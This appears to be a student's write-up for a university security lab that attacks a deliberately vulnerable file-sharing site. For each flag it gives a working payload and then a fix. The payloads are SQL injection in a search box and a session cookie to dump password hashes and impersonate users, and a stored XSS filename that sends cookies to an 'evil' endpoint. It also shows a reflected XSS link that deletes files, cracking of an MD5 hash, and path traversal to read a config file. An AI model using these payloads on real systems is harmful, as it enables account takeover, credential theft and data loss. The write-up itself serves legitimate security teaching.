Project 3 Writeup

Flag #3

#Attack Description

I inputted the following into the search files input box: `' UNION SELECT md5_hash FROM users WHERE username='shomil'--`. The search result contains all the filenames that the current user has and the password hash for user `shomil`.

#Improvement Suggestion

We can try to perform input sanitization before directly using the value. Or we can use prepared statements if possible. Lastly, we can use third-party sql query builders that automatically escapes special values to perform query instead of using raw sql expressions.

Flag #4

Attack Description

I manually set the `session_token` cookie to `' UNION SELECT 'nicholas'--` and then attemped to visit `https://box.cs161.org/site/list`. I did this because I suspected that, when user visits a page, the server performs the following query to get the username: `SELECT username FROM sessions WHERE token='%s'` where `%s` is the value of the `session_token` cookie. Our attacks works since it causes the previous query to always returns `nicholas`.

Improvement Suggestion

We can try to perform input sanitization before directly using the value. Or we can use prepared statements if possible. Lastly, we can use third-party sql query builders that automatically escapes special values to perform query instead of using raw sql expressions.

Flag #5

Attack Description

I changed the filename of `roadmap.pdf` (under user `nicholas`) to `<script>fetch('/evil/report?message='+document.cookie)</script>`, then shared it to user `cs161`. When they visits the list-files page, the javascript is ran and sends his token to the `evil` backend.

Improvement Suggestion

Again, we need to sanitize user inputs before blindly displaying them. This could be done either by escaping special characters or by simply not allowing them in filenames. Alternatively we can disallow all inline scripts.

Flag #6

Attack Description

I created this following link: `https://box.cs161.org/site/search?term=<script>fetch("/site/deleteFiles",{method:"POST"})</script>`. When a user clicks on this link, all of their files will be deleted.

Improvement Suggestion

We need to sanitize user inputs before blindly displaying them. This could be done either by escaping special characters or by simply not allowing them in filenames.

Flag #7

Attack Description

I first performed a file search with input `' UNION SELECT username FROM users--` to get a list of users and determined that user `uboxadmin` belongs to the admin. Then I searched again with input `' UNION SELECT md5_hash FROM users WHERE username="uboxadmin"--` to obtain the hash of his password. Then I reversed the md5 hash to obtain his password `helloworld`.

Improvement Suggestion

The server should store a salted password using a secure hash. Also the admin should not be allowed to reuse their password.

Flag #8

Attack Description

I first uploaded a file named `../config/config.yml` and then clicks the `open` button to download it. This works because the server first checks if I have access to the file named `../config/config.yml` in `file` folder but then deliver to me `/config/config.yml`. This mismatch of the file used in authorization step and delivery step makes this attack possible.

Improvement Suggestion

At the delivery step, the server probably simply concatenate the string `/file` with the filename first, then parse the concatenated string and retrieve the corresponding file. It should instead navigate to `file` folder first, then attempt to retrieve the file. In other words, the server should make sure it only fetches files under the `file` folder.